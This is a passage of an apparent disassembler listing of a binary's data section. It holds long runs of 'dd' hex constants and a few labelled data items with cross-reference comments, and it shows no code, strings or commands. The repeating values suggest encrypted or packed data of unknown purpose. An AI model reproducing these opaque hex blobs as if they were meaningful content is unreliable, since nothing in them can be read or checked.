		dd 5274E731h, 16595778h, 74D3F26h, 0E750790h, 32157261h
		dd 0DE012D44h, 8BDDFE41h, 0D2AEB898h, 0CA95CB95h, 0F80A6226h
		dd 617D370Bh, 6B6AD701h, 0B3138749h, 0D4286E85h, 0F8E4E766h
		dd 63244C40h, 0FB316209h, 6C58615Bh, 2DDC88A3h,	524C2B16h
		dd 321A8FE8h, 4D246644h, 7E628E58h, 0E27D7007h,	534B0B02h
		dd 0DAFCE781h, 53243172h, 0FAA26940h, 0C41E07D1h, 3279E34Bh
		dd 0B01A6622h, 32156608h, 32157261h, 13E97A44h,	3E1BA7B0h
		dd 1E203045h, 749A4550h, 7D7DADD0h, 0B37306BEh,	0DAFDB8FEh
		dd 32156687h, 7BFB5B3Bh, 0BADA903Eh, 9A57FFBEh,	0DA44923Fh
		dd 32156655h, 0BF65F837h, 3F1DF039h, 0D3F9177h,	0CA6F8980h
		dd 534A3C9Eh, 0CDFF42F8h, 32138F77h, 4DFF6644h,	2E5C881Fh
		dd 0C3940071h, 851AB21Ah, 0B3450794h, 811420Eh,	674B26C2h
		dd 0E12F6235h, 6FFB6704h, 321572CBh, 0A57D6511h, 0A4C64B48h
		dd 0D89A1115h, 2A6E430Fh, 54DF5C2Fh, 3BA0EF7Dh,	0DB13CF57h
		dd 32156624h, 93F2E05Ah, 879C3D5Dh, 34BC77E5h, 359769DEh
		dd 52156611h, 851A3ED8h, 0C95078Ch, 0F09069CBh,	3D156611h
		dd 32156708h, 44EA9F44h, 10A83323h, 3308163Eh, 6F1142E4h
		dd 10FAE71Bh, 3D08160Dh, 32156A99h, 34956988h, 3D156644h
		dd 321566AFh, 46AC3711h, 0B35C82ECh, 0A97013ADh, 73CC9178h
		dd 8D008F90h, 0FD3CF76Ch, 0B3E2671Dh, 0E0548BE5h, 64ED936Fh
		dd 0B3317A03h, 32156280h, 32018F22h
		db 11h
byte_5C3A41	db 66h,	74h		; DATA XREF: ___:off_437FB8o
byte_5C3A43	db 0D6h			; DATA XREF: ___:off_43A0E8o
dword_5C3A44	dd 52E1AEE5h, 681B8149h, 66642F2Fh, 0B35488B4h,	64E93AB3h
					; DATA XREF: ___:off_43A0E0o
		dd 8472B5FAh, 61AA3153h
		db 2, 57h, 35h
		db 1Bh
		dd 0C4943976h, 0AD707F9h, 0C72888A3h, 0C1140F57h, 8F2E9AD6h
		dd 34BC754Dh, 3205E42Dh, 0CB756611h, 6B7DD2D8h,	3DEE5D25h
		dd 321572A4h, 30FC9F11h, 3DEA9961h, 32156EC3h, 309A6922h
		dd 52156611h, 13A8EDE9h, 0CA13CF41h, 2CB0E3E5h,	321560B8h
		dd 26FC6688h, 0CB156644h, 140DB50Dh, 6B80D89Dh,	0DDC6327Fh
		dd 47966D17h, 52104132h, 32156CF8h, 76EA4288h, 64C66B9h
		dd 0BBEBEFBBh, 9B04C7A4h, 3394698Eh, 0C7156644h, 0C896FBAFh
		dd 23FC60A1h, 37156688h, 19CD027Ch, 0BE47CD20h,	0EF02941Bh
		dd 0FA73C17Ch, 321568ADh, 0C6DE8622h, 0CDB4D794h, 7B9184B3h
		dd 0CD90E81Eh, 0DB7506F1h, 32156602h, 1B48F312h, 0EB4AE739h
		dd 0C3614EC9h, 4EA4605Ah, 8CDF3A3Dh, 3087BF30h,	321E8E43h
		dd 0DF9C6611h, 9BE902C4h, 1962FABh, 6B740670h, 0F21E9A70h
		dd 323CE287h, 20FC6644h, 3C156622h, 0EDA14001h,	2F97C1A8h
		dd 0CF0303C3h, 0FA76BA88h, 32878F8Bh, 3D756688h, 321563C0h
		dd 0ED940022h, 0BF746C41h, 9C6A2315h, 32078F42h, 0EEA16622h
		dd 8C35E654h, 5532E449h, 5EF09DFh, 592D242Bh, 0B11AB5EEh
		dd 0CDEA99BFh, 321569ADh, 0AC02CB22h, 0C06E2153h, 5160AB6h
		dd 0D469CADCh, 23B4D3A9h, 0BBED60B8h, 9B0BC33Dh, 8CE00642h
		dd 1A049104h, 32058F70h, 0FCB86688h, 7D4CDBEAh,	9141A1A5h
		dd 65FAD1C8h, 0AF980250h, 34BAFCBDh, 321572CBh,	0BD102B11h
		dd 0BA4CBA80h, 0C355AB4Dh, 38045C5Dh, 0DAB4B6D4h, 0CAC6990Ch
		dd 211CE3CFh, 0BBE0608Bh, 9B04C794h, 89759F8Eh,	20A48D2Dh
		dd 321574CAh, 57D44D11h, 9B2F0168h, 0C82A8689h,	92CA5245h
		dd 0B32C6AF8h, 651A8A4Eh, 53743E13h, 321F8F42h,	50D26611h
		dd 286A7701h, 0CC23B589h, 7AF7E744h, 35FC07EAh,	81156688h
		dd 86630755h, 0C950CCDh, 0DE9069F9h, 3D156688h,	32157CC3h
		dd 269A6922h, 0DB156611h, 32156687h, 4ED91512h,	444C34A4h
		dd 767F3B4Dh, 0B19B9276h, 9B349BF9h, 0B61A6624h, 321566AEh
		dd 60460074h, 0D6A66BF2h, 0BA4F9512h, 3D4E00C9h, 32156807h
		dd 0DA940644h, 55893BC3h, 16E5B090h, 98747F55h,	369430B1h
		dd 0C2122F06h, 8B443E2Bh, 74C24D30h, 1EE497C5h,	0FA3C1A05h
		dd 0D49F0648h, 0A4380774h, 1F41B04Fh, 12E9701Eh, 0E109E38h
		dd 37359A9Eh, 66C36DD2h, 321572CBh, 0D3B58111h,	0E555A549h
		dd 0F3D489D5h, 2E971281h, 7025D810h, 367D3711h,	6B156644h
		dd 3D4CAE0Bh, 32156E91h, 309E6988h, 52156644h, 3D75CD43h
		dd 3215689Eh, 321C8F88h, 7AE66644h, 0F8537B59h,	819C8AABh
		dd 0DBE9079Eh, 321564DAh, 321574CBh, 0B6D40E11h, 0AD5BEB6Eh
		dd 0A969C9A1h, 0E8D58800h, 0BF9E9A6Fh, 82CA3515h, 32068F42h
		dd 19086622h, 75635440h, 815F4167h, 0D9CF819Dh,	85E0E7D1h
		dd 0DBC6992Ah, 3215669Ch, 2070AD8Bh, 0BF41BF8Ch, 86BFA3D5h
		dd 3F74F06Bh, 0ABD4319Ah, 0C78BFBAFh, 0BF1A60A1h, 32156681h
		dd 1B99DE24h, 694369B1h, 52C69970h, 3213E687h, 0D1946644h
		dd 559EA53Dh, 98FEE777h, 0F21E07A6h, 3231E34Bh,	0BF1A6622h
		dd 3215661Dh, 32156161h, 745BC444h, 2929AE87h, 32155CF8h
		dd 0B21A0688h, 32156647h, 0B9E7ED44h, 0B79607C6h, 34BC7729h
		dd 8B730641h, 851AFB30h, 55FC07D3h, 52EA9976h, 3205E44Bh
		dd 39FC6622h, 0A7156611h, 0C7340FA9h, 0A5FE3813h, 0BF748F4Fh
		dd 82E2C88Ch, 851A068Eh, 309169B4h, 86156622h, 0E1EA073Bh
		dd 3DD56D70h, 321558C1h, 8C730622h, 0EF957393h,	21FC071Bh
		dd 0C6156644h, 97DF953Ch, 67338555h, 0A7279021h, 47A6141h
		dd 7BFCCDD0h, 3D156611h, 32157402h, 32188F44h, 9FB86622h
		dd 0B6A4D881h, 588DC3DEh, 619DC975h, 32156299h,	0D7FFE711h
		dd 330365D3h, 0D7D7E79Eh, 69036579h, 33418FEDh,	34FC6688h
		dd 82156644h, 0ED341563h, 8A730666h, 78AFD3F6h,	5368A998h
		dd 4D50FBAFh, 0B21A60BFh, 32156689h, 3DC699BCh,	321502A1h
		dd 21906911h, 0DB156688h, 3215664Ah, 0C393DBBFh, 5B3ED3D4h
		dd 7B6C56D3h, 879E3961h, 34BC7783h, 320CE61Eh, 3D756688h
		dd 321566CCh, 321E8E22h, 79906611h, 667FEB42h, 0B5EDADC0h
		dd 0DB743FF4h, 32154871h, 5FAB00E8h, 0FD9E000Ah, 20976943h
		dd 3D156611h, 32156A0Ah, 32128F44h, 1D236622h, 0BDAA5BC7h
		dd 9398ED2Ah, 0CA13CF55h, 23B4D3ABh, 0DA7560B8h, 3215669Ch
		dd 1DABA08Ch, 0FFD26ACh, 0F3A2AD00h, 0E8036EF1h, 0E785ACB0h
		dd 0EAC2E744h, 851A3835h, 0B21A0776h, 3215664Eh, 321563CBh
		dd 0E9948711h, 0DB941951h, 2C6F7FD9h, 365A7A3h,	0C33C7C0Fh
		dd 3658F09h, 0F3947C5Ah, 2C6F7FBFh, 32AE35E8h, 1B156688h
		dd 0B9CCE18Fh, 0F696423Eh, 8A459E15h, 7D0D4168h, 1B4DA045h
		dd 0D2FBE7ECh, 525A7E36h, 0B2C4D187h, 0C174668Dh, 32048F86h
		dd 238C6611h, 8476E7h, 0E4B08F2h, 0CC47DB73h, 0DB4836EBh
		dd 0CDEA9A2Eh, 321575ADh, 0E71FE722h, 79E230E7h, 0F5065454h
		dd 7E6AD594h, 0DDA9BD3Ch, 0C43DDC71h, 0CA443DA2h, 0AF98071Eh
		dd 34BAFAE5h, 0E1A26971h, 53E2EDEEh, 0BA1AB5BBh, 32156623h
		dd 36F9E7EDh, 0BB156688h, 1E944278h, 70357F06h,	2B103E61h
		dd 526524A8h, 0F664DEBDh, 52744A30h, 32156EF8h,	0F4780488h
		dd 0E28B138Dh, 0B73E0702h, 34BC6330h, 8790EF74h, 5213CF47h
		dd 53AC0042h, 53CFEDC1h, 7072E231h, 0B79E0724h,	34BC6303h
		dd 32128E71h, 242F6688h, 0E2BEBEA0h, 69E5EDB5h,	18DDD977h
		dd 321A8FE9h, 0EA486644h, 41DC7AE8h, 2680DD38h,	0DCCA244Eh
		dd 51990EDFh, 0E9C6622h, 26926935h, 0DB156688h,	3215664Bh
		dd 232E024Bh, 6425B408h, 0AA8661F1h, 6795D35Ch,	0F79483ABh
		dd 32156615h, 32118B09h, 1E926644h, 369C3A06h, 35946935h
		dd 3D156688h, 321567C2h, 0BF989E22h, 34BAF8EBh,	32156361h
		dd 0FE731544h, 0E3EA0D43h, 5790EDE8h, 0DB13CF83h, 3215664Ah
		dd 826A2124h, 338B125Eh, 0AE6DEA20h, 5AE92A42h,	32151205h
		dd 0CA316298h, 0B3F2EFDFh, 32156283h, 36FAE722h, 0B5156611h
		dd 0BB4942B4h, 0DBE04278h, 32156632h, 1AD23D07h, 3E8DF1F8h
		dd 0F851A07Ah, 0CC7140E2h, 3734E39Ah, 37FC6021h, 48156644h
		dd 0B591F651h, 32095E79h, 1611EF88h, 0C89E3124h, 0C1AA697Ah
		dd 298EB70h, 0C713C928h, 0DA75B7BBh, 3215662Eh,	5BF9FC9Eh
		dd 9DE86B4Eh, 395A4B00h, 0B24D3E74h, 0B174D8D2h, 369C6264h
		dd 0BB1A3C60h, 32156630h, 32156BF8h, 23DE0D88h,	7372EB0Dh
		dd 578CBDAh, 634308C3h,	0FC9CA701h, 6CE4EF1Dh, 0B3730642h
		dd 88848EC1h, 18FF14D6h, 0BF3E0725h, 34BC6D47h,	7BA8E5E9h
		dd 3213CF85h, 3272E24Bh, 0B9ED6622h, 9B14FB94h,	0B73E9A8Eh
		dd 34BC6B0Dh, 3DD45DD7h, 32153697h, 3A966988h, 3D156644h
		dd 321564ADh, 0B9740611h, 9B1F3B0Dh, 0B7169A42h, 34BC6B6Bh
		dd 0EB47DF71h, 8873796Ah, 0BB7495BFh, 9B216FA7h, 0F2FC9A17h
		dd 0DB156689h, 3215664Ah, 0B89F61C8h, 6866822Eh, 6FD06FF8h
		dd 0B71A305Dh, 32156627h, 0F4A26971h, 388E0EE9h, 3E9C6644h
		dd 65469F06h, 0C99CA998h, 69CDEFD7h, 0D9C1E624h, 32956971h
		dd 69156611h, 33AB30E9h, 1B156644h, 21FC38D2h, 2C156611h
		dd 0D2D503Dh, 0E42A4A86h, 834058AFh, 8E22D100h,	8D4250A3h
		dd 3AE437BBh, 0F31081E3h, 0B35A62F6h, 0BE24264Fh, 0CDAE3530h
		dd 0B321D971h, 7B4A85E2h
		dd 0A3DEE7F7h, 0B373664Bh, 0F43A3BD1h, 69CA5729h, 524A9E81h
		dd 3213ED4Bh, 0C3946622h, 17AC7046h, 64743DD9h,	0CDEA99FAh
		dd 6CE54FDDh, 0AF90EFE8h, 0DB13CF89h, 32156654h, 0A2C2EF12h
		dd 44545B09h, 864CE6DCh, 3042AFECh, 339067DBh, 3D13CF3Ch
		dd 32157404h, 3E9D6944h, 0DB156622h, 32156616h,	0E9961796h
		dd 3DC670E7h, 321576A7h, 321E8F11h, 0E9D6688h, 79EBE31Fh
		dd 2829DFD7h, 7B90A17Dh, 3213CF85h, 0DB156644h,	3215662Dh
		dd 0BBC9BE4Eh, 0A1712753h, 0A8553683h, 586FF245h, 35906951h
		dd 52156688h, 0EC95AECFh, 327D07C3h, 0CE156601h, 323C04E0h
		dd 1619EF44h, 52150CDEh, 21559590h, 0B3734001h,	53DF5297h
		dd 235CF3DDh, 3AFC60B8h, 28156688h, 5CC3C81Dh, 3D0B619Ch
		dd 32156E93h, 30966988h, 52156644h, 0C7809943h,	0DB13CF1Eh
		dd 3215669Ah, 93624584h, 0B088FAA7h, 7EBA537Ah,	0D7E8D526h
		dd 0B79C8781h, 34BC6C7Fh, 3A9669EDh, 52156688h,	3215E74Bh
		dd 0BB746622h, 9B216F94h, 32138F8Eh, 932B6644h,	525F04ACh
		dd 6B3152EEh, 3211A209h, 0BA1A6644h, 32156625h,	3214E81Eh
		dd 0CDE06688h, 9B216FF1h, 87EA9A24h, 34BC6D74h,	44CDE7E8h
		dd 5324175Ch, 0B3F7EF70h, 321562D3h, 36FFE788h,	0B5156644h
		dd 0BB494236h, 0DB75422Dh, 32156680h, 0BFA1FA22h, 0CFCDD086h
		dd 0CD749C9Ah, 9B10473Dh, 0B3730642h, 0DBFAD9EAh, 32156619h
		dd 31856EABh, 83321ABFh, 3390EB43h, 0DB13C9A8h,	32156699h
		dd 0B075E54Ch, 0E18D42F2h, 259B9AC2h, 6453DC1h,	52C59942h
		dd 6BCBED72h, 53E7D91Eh, 3F5CEB89h, 547560EDh, 53E9B5A9h
		dd 321577F8h, 0D216A188h, 0E545F291h, 1FA19A43h, 3A68606Eh
		dd 8F9E92B2h, 34BC524Dh, 3214E42Dh, 0B9ED6611h,	9B1E033Dh
		dd 96E69342h, 0ABF7E642h, 27657FA8h, 879E07BEh,	34BC52A9h
		dd 321DEC2Dh, 0B21A6611h, 3215668Ah, 0CBB80724h, 3256EF4Ah
		dd 1609EF11h, 0CDEA9A33h, 0F5E667BBh, 32156621h, 54753D11h
		dd 7FFC8709h, 866DF24h,	20FD0826h, 7E156611h, 0DDBC9AECh
		dd 6026E50Dh, 7283B6E6h, 420E6B1h, 53743D30h, 321575ADh
		dd 5A87B822h, 2E62DE9Dh, 0B6D3186Ch, 0E3440E29h, 29D4AF08h
		dd 0CB10A6D0h, 1000DDDBh, 0C1945676h, 4004510Ah, 7E059590h
		dd 0C19443F7h, 624C394h, 0D637B50Fh, 37CD6716h,	35F1445Bh
		dd 3DFC061Fh, 88156622h, 9B31D97Dh, 8A26D70Fh, 3A4DB200h
		dd 6CAE33ADh, 533A646Bh, 6DCE38Bh, 0C77560EDh, 321569CAh
		dd 4C7F4911h, 6E82C284h, 327186E8h, 0F1B878A4h,	321575F8h
		dd 4A0BCD88h, 6B50A1EAh, 837F7E65h, 635B089h, 0A73FB3DEh
		dd 0BF9E071Ah, 34BC522Bh, 32156FF8h, 83C3DD88h,	0A71301E8h
		dd 0C97D3793h, 0BB156627h, 0F99C4294h, 524E7ECDh, 0EB9EB9A9h
		dd 35FCCB70h, 0A0156688h, 289E4B0h, 89468212h, 32156611h
		dd 0CE53E9DBh, 0B01A061Fh, 32156630h, 32156BF8h, 8D925188h
		dd 2310C12Dh, 95C42281h, 3D74BEACh, 32156E00h, 30976944h
		dd 52156622h, 0DFA0EF70h, 0CA13CFBCh, 3DEA9EC7h, 3215FEA7h
		dd 0C949F11h, 0EFC8BB55h, 329EE34Bh, 3FFC6622h,	73156611h
		dd 4E148C73h, 1BC608A1h, 7B14C7F9h, 260ADC43h, 8C432030h
		dd 17E9487Fh, 0B34B9423h, 306FF6E3h, 38F7E7FDh,	0B316E07Ah
		dd 4BD290E0h, 6803EFEFh, 32157661h, 65C4B244h, 33A09DF8h
		dd 0EABAA704h, 0B1F7EE04h, 31946986h, 52156622h, 0DE9607E8h
		dd 1629EF8Ch, 321562FBh, 6DEB6722h, 32198F71h, 42E36688h
		dd 563D1DD1h, 5CB123EAh, 3D745A8Dh, 3215670Fh, 879C9F44h
		dd 34BC52CFh, 0E08B8FE4h, 0CB759977h, 31D5A725h, 32078F42h
		dd 90C86611h, 5489BE97h, 0D61CA7A3h, 5D121B7h, 25857A32h
		dd 53E7D987h, 0DD940024h, 0EC94FBDAh, 4D85AC35h, 0FB9065E9h
		dd 0CE13CF70h, 2234DBA1h, 3D1460B8h, 3216C20Ch,	0C949A44h
		dd 98BFCC88h, 32B9E31Eh, 0B11A6688h, 32156645h,	36A833DAh
		dd 33156611h, 1639ED66h, 0CE11A2C7h, 0CD0DE72h,	10660Fh
		dd 0C55748A5h, 3AAC3794h, 1BA8D5B6h, 749C3FD9h,	0B31A3E74h
		dd 3215664Dh, 88740642h, 11FC68EFh, 654593E9h, 0B13162CFh
		dd 3D4A62E6h, 3215679Fh, 85469388h, 0B2C29059h,	0DD95C7CDh
		dd 69EDEEA7h, 0EAE3A676h, 2E21A6BAh, 1E1786E2h,	32018FAAh
		dd 0D71A6688h, 0DA9E4D9Bh, 433722FCh, 6C5ADC6Eh, 0BEE6EEDBh
		dd 77FCFE91h, 52156622h, 321572F9h, 0E4A75D88h,	7643631Eh
		dd 0E3914CF8h, 4C427376h, 795B87DFh, 6ADAEDE1h,	6F926B99h
		dd 6545077Dh, 1629EDD0h, 3211A2C5h, 63ED6622h, 0BA468EA4h
		dd 69EDEE67h, 37FC931Dh, 39156622h, 0F5DB429Fh,	326D9AE0h
		dd 1611EF44h, 321AEC2Dh, 38FC6611h, 0B8156688h,	0C8D1CA44h
		dd 86EE1D9Ch, 67A8E543h, 3313CF87h, 336AE24Bh, 54756622h
		dd 0C394A79Ah, 240FF141h, 33150E25h, 369E6622h,	36D1E535h
		dd 3214EF87h, 3DE96644h, 321561A0h, 339F6911h, 0CB156688h
		dd 4116DBC7h, 3D156092h, 32152095h, 28926988h, 52156644h
		dd 23FC0742h, 0FF156611h, 3F9F160Dh, 1E441BBDh,	61FFFB96h
		dd 0ED7A0085h, 5688EBE9h, 0CB13C988h, 0B31AB5DDh, 32156616h
		dd 0C29E00E8h, 0DB743C12h, 32156629h, 7838E7EAh, 7AF08809h
		dd 0B21A9BE9h, 0B61AF61Dh, 32156651h, 32156E61h, 55C36F44h
		dd 19F0C522h, 8D7306E8h, 0B373C10Bh, 53A23095h,	3210D874h
		dd 0DD946611h, 1F296DBCh, 0F5949145h, 1F296D16h, 0D4FC9F4Fh
		dd 0DB156689h, 3215664Ch, 0BACC0CD2h, 0FC6C7998h, 3D459E0Bh
		dd 3215D6C6h, 0F5940622h, 284AB3Ah, 0C7A635E9h,	0B2A285C4h
		dd 0F1955DE1h, 0CCD69845h, 84FEE64Bh, 0BACCEE15h, 0DB4E3FEAh
		dd 3215661Dh, 0E0DD6D52h, 1B05B14Dh, 9BA10E48h,	3214E01Eh
		dd 98EC6688h, 321561ADh, 0E3547822h, 1427C7ABh,	53EDEDE8h
		dd 623162CFh, 361086ABh, 37156611h, 3215668Ch, 6E3162C3h
		dd 30916942h, 0B9156611h, 319E6976h, 54156644h,	9874A5A9h
		dd 3203EF1Eh, 23FC6688h, 0BA156644h, 3D45FA80h,	9EC41D6Dh
		dd 79C8CA8Fh, 5A74ED46h, 3215D0CBh, 24976911h, 0DB156688h
		dd 32156655h, 3DC7F885h, 74F8EDFFh, 4F0A8B12h, 0CA7218A3h
		dd 16219941h, 36D1E549h, 64E1E6E8h, 53DBED22h, 4D959A88h
		dd 0B71A8FEEh, 321566F7h, 0DBCDEC24h, 32156636h, 641F3EE7h
		dd 6B14775Bh, 0B507D27Fh, 7194DF32h, 0E3567942h, 34FC06E9h
		dd 9A156644h, 34891EAEh, 3890695Dh, 0DB156688h,	32156641h
		dd 8E6447EFh, 8F96074Ch, 34A5158Bh, 12916944h, 52156622h
		dd 0DBE3D11Eh, 32156684h, 0B252F7BBh, 82194CB0h, 9561C063h
		dd 4288EBE9h, 0CA13C98Fh, 0B3EDB5DDh, 321562FDh, 1619EF88h
		dd 7D9DA7CCh, 89753F26h, 9CA02FFh, 0B9749103h, 9B216FC1h
		dd 0B01A9324h, 32156618h, 0B41A93E8h, 32156644h, 22EE6343h
		dd 243867EAh, 1B20C1E3h, 590363BCh, 0C9385385h,	3D149D01h
		dd 32157E0Ch, 20906944h, 0DB156622h, 3215661Ch,	1DB95F3Ch
		dd 80EA8428h, 129ACB70h, 36F9E5A6h, 8F314A01h, 32156640h
		dd 3D488E0Bh, 32156C90h, 32108F88h, 12B56644h, 3DFD73BCh
		dd 32156797h, 0DBBE9E88h, 32156655h, 40AC667h, 13D2ECB3h
		dd 5C887663h, 3D15457Fh, 60E9CB8Eh, 0CC01E579h,	1601ED8Fh
		dd 0B311A2C7h, 0CC01E5C8h, 0CE43EF16h, 339B69D2h, 0CA156644h
		dd 8FC9DF42h, 0B373221Dh
		dd 538FD642h, 0CDEE22ADh, 339769DDh, 0CB156611h, 3214E087h
		dd 0BBEC6644h, 9B218B97h, 3E906917h, 3D156688h,	321560C4h
		dd 329C6922h, 65156611h, 0F5948101h, 32156640h,	321189A3h
		dd 0E926611h, 269C3AACh, 37FD0660h, 14156622h, 55361645h
		dd 32156961h, 38AFC644h, 0F0ED8692h, 2145F64Eh,	3F35E375h
		dd 32198F1Ch, 0C4446622h, 0D55798FBh, 62F299F5h, 5A7456E4h
		dd 3215E622h, 321DEB1Eh, 0B41A6688h, 32156646h,	327F0742h
		dd 3214E31Eh, 0CDE06688h, 9B3FEFF1h, 229D6924h,	0DB156611h
		dd 32156683h, 21A48112h, 8170B46Eh, 0CDD91B73h,	9B13771Dh
		dd 6FAF0642h, 3D74C629h, 3215669Eh, 6EA0788h, 0F6943C60h
		dd 32156626h, 53E1EC71h, 608EB03h, 0B27560EDh, 627433ECh
		dd 8052BF79h, 94203EDEh, 710C823h, 1BA54414h, 755B6E6h
		dd 5E2D3DD9h, 59B38069h, 6A14EFCBh, 36AF34E9h, 0B3156688h
		dd 525CDCADh, 0B3C4674Bh, 525CDCD0h, 0BBE03CE1h, 9B217BC9h
		dd 33906924h, 0CA156611h, 0CDD01B61h, 0F79F06BBh, 19E3ADA3h
		dd 0DB741A65h, 32154D45h, 0D7E724h, 5373B0D0h, 851A0671h
		dd 0EC9E0652h, 539781C4h, 321E8F43h, 6D706611h,	1093AA55h
		dd 0CD3D8A6Fh, 2F98ED9Ah, 5213CF25h, 0D0E2E7EEh, 3EA0787h
		dd 0B3316AA9h, 321562D5h, 32078F88h, 34546644h,	2613D27Dh
		dd 9B37AA28h, 932EB20Dh, 0FD8D96A5h, 32156DCBh,	0AB77D111h
		dd 0C7312D37h, 75376C18h, 40EAEBABh, 0DB7560A1h, 32156682h
		dd 1DA007AAh, 0B0F8293Dh, 0B3739E8Ah, 53AC8379h, 665B5EC5h
		dd 0B71A2A66h, 321566AEh, 32156E61h, 6B786144h,	0CECD19FDh
		dd 4A94004Ch, 3D3B2A8Ch, 3215C0C1h, 33956922h, 0CB156611h
		dd 32156961h, 0FD63AC44h, 12A3FA2Ah, 253DB2C5h,	638259FBh
		dd 323EE12Ch, 1611EF22h, 32058F4Fh, 53A06688h, 22C1DAB6h
		dd 1094502Eh, 3827FBDDh, 3DFC3330h, 73156644h, 68410647h
		dd 0A8A5E23Ah, 9695CFBFh, 6345377Fh, 0B647A69Bh, 60D3DE29h
		dd 0FA245E0Ch, 6AD3671Dh, 32156BCBh, 1D93E11h, 9812ACEDh
		dd 3CDA2A3Ah, 0B79E35D0h, 34BC4F48h, 3214EE87h,	0DBED6644h
		dd 321562EAh, 32078E71h, 0A1136688h, 9DC5552Dh,	0E2E6EAD3h
		dd 0D8E8B0FEh, 0A8A4DBBh, 3215E54Bh, 3D4B6622h,	6274AFAEh
		dd 0B3315203h, 32156280h, 20FD0622h, 7F156611h,	0D54232D3h
		dd 0A32BD73Ch, 0D9814052h, 35980F34h, 69EDEC2Fh, 396E09FEh
		dd 0ED7D074Eh, 0BB156636h, 3D4F428Ch, 321573CFh, 32058F22h
		dd 7FE86611h, 23922F33h, 353CC109h, 9317DF61h, 0FB246EBBh
		dd 321CE087h, 0C7756644h, 3215EE2Dh, 9E746611h,	32156861h
		dd 57C3A144h, 1137685Dh, 36310A08h, 0EA3BE61h, 51916944h
		dd 52156623h, 0D034A590h, 0E7442E8h, 0E6916969h, 0DBEA99DDh
		dd 32156600h, 0BF65F89Dh, 3F1DF06Ch, 0D3F91DDh,	0CA6F89D5h
		dd 3D3B5A34h, 3215A0C0h, 68450622h, 3D255A70h, 3211EF0Ah
		dd 27916944h, 3D156622h, 3215699Dh, 321F8F88h, 33CF6644h
		dd 0B754ECEEh, 2B7C6F6Dh, 32018EE8h, 0A3D46644h, 8216F133h
		dd 5236BD12h, 57F47AEAh, 8F948D84h, 6C471B20h, 53E4ED4Ah
		dd 0B41A5FB4h, 0CDEA9923h, 3214E92Dh, 0EE96611h, 59769C9h
		dd 0CE156640h, 0B41A3C1Eh, 0CDEA995Eh, 321EE487h, 34FC6644h
		dd 38156622h, 37259194h, 3D4A5A3Ch, 0CDEA50C0h,	321D8FDDh
		dd 93976611h, 0BE9F5FA2h, 53298F66h, 3615E42Dh,	3FFC6611h
		dd 0D8156688h, 9FC379C4h, 0A353D469h, 79189AB9h, 3214E187h
		dd 0EEC6644h, 32936958h, 0CBEA99EEh, 3216BF61h,	32108F44h
		dd 35C86622h, 62A1A4E6h, 32156730h, 6AD76744h, 2FAD0642h
		dd 0B91896B3h, 53E9075Bh, 3DE75FB1h, 3216D7A6h,	8B449E11h
		dd 0CDEA9977h, 0CA4CAC45h, 3C5BDD71h, 0B35E2D02h, 0DEE4D44Bh
		dd 69CC4FF0h, 32188F42h, 20EC6611h, 4E81F712h, 3F83F1CAh
		dd 3D76AD6Fh, 3215749Bh, 32188F88h, 0B6A36644h,	0AA8D75FFh
		dd 575635F6h, 53AE8752h, 0CDEBE0ADh, 0B97306DDh, 0FB9007C7h
		dd 314DE287h, 0BFE06644h, 9B37E797h, 0B9730617h, 60749F47h
		dd 0B3316ACFh, 321562E6h, 8D1A0611h, 187D0742h,	0BB156607h
		dd 0CE4A4236h, 0B291D043h, 0C29D3066h, 0B33172CFh, 321562E6h
		dd 0B9730611h, 34946942h, 3D156644h, 321566AEh,	47BB0711h
		dd 3DFC0675h, 10156644h, 0B0CF0A45h, 5FC74283h,	0F1B86BEh
		dd 8D1A8E63h, 0BF1A07D1h, 32156610h, 0C7FCE770h, 1B631668h
		dd 0C7AF34DBh, 3363163Dh, 0B3753C59h, 816BF7B5h, 0B55C072Ch
		dd 0B5C691C8h, 0E3940651h, 5D5E26BAh, 775DDE44h, 0D4AD3670h
		dd 3305ACA6h, 0FD3C3E83h, 1CF389A3h, 3DE076DBh,	3215710Dh
		dd 3FFD0644h, 4F156622h, 99ECD5FBh, 4592596Bh, 0F38C1A31h
		dd 534E307Bh, 32118A90h, 0E9C6688h, 6C4A3060h, 321FE02Dh
		dd 37FC6611h, 0D3156688h, 9C177275h, 0CDAA6942h, 52B19570h
		dd 53D6D987h, 0F28CD416h, 0E0E365C0h, 0B21784D1h, 8B44424Ah
		dd 0CDEA99BBh, 239D9F23h, 52753C48h, 0CED2D987h, 0BF749F25h
		dd 9B37E7B7h, 321D8F17h, 0C52A6688h, 1CD983AEh,	0B79E3DDEh
		dd 34BC780Ch, 8BD2EDE8h, 1D9A3B60h, 3DD5E343h, 32151094h
		dd 3DFC0688h, 2C156644h, 97610A6Bh, 331650DFh, 72AA0ED3h
		dd 0F47422B7h, 9B03D7A7h, 0B31A2117h, 3215669Ah, 32156BADh
		dd 44768422h, 834D8567h, 4A62D216h, 0E07D66E5h,	0CEC1FC85h
		dd 22A0D3EEh, 0BFE06021h, 9E669AC1h, 0DA450624h, 32156618h
		dd 899A28F5h, 98E443C7h, 0CE4D381Ah, 32108F70h,	0EF9A6688h
		dd 0CDEEEFF8h, 3DEC06F2h, 32156396h, 0D9940088h, 657435E8h
		dd 0F59481ABh, 32156615h, 32118909h, 0E926644h,	269C3A06h
		dd 27906935h, 52156688h, 32156EADh, 0AAAB622h, 0B0F6E6EFh
		dd 57DCE789h, 53005E12h, 0B7EDB6DDh, 0E39069D1h, 0C7156688h
		dd 367CE3CFh, 0B7ED608Bh, 589069D1h, 52156688h,	0F99F91F6h
		dd 8390A043h, 7E13CF07h, 321FE387h, 63756644h, 3296697Bh
		dd 53156611h, 0E8098FE0h, 5275069Dh, 43AB0043h,	0B37307D9h
		dd 537FEF48h, 22A0D3BBh, 0BFE0608Bh, 9E669A94h,	32048F8Eh
		dd 28D16644h, 244CD446h, 236D2168h, 70FF6430h, 0CD89DEDFh
		dd 3C9469F2h, 52156611h, 4694BD09h, 0FD947193h,	39DD1557h
		dd 0D49C3070h, 3211A009h, 0DC946644h, 32156626h, 6E315296h
		dd 0DB317201h, 32156642h, 261CF74Bh, 0E2EAFCCBh, 3DD5E374h
		dd 32154DC1h, 321B8F22h, 97ED6611h, 76A62142h, 0C0ABD525h
		dd 0E3F5F981h, 3215CBF8h, 321B8F88h, 0FA526644h, 381E4A6Ch
		dd 6503E96h, 5E883EDh, 40EAE3CDh, 63756092h, 3215E11Eh
		dd 544C6688h, 3D74A4CFh, 32157EA1h, 32068F11h, 30B76688h
		dd 0B9CD22F8h, 0BCBAE185h, 1BFDCD1h, 4165E2E3h,	71CE0EE2h
		dd 369C6622h, 187D9335h, 0BB1566D2h, 0B41A4270h, 32156623h
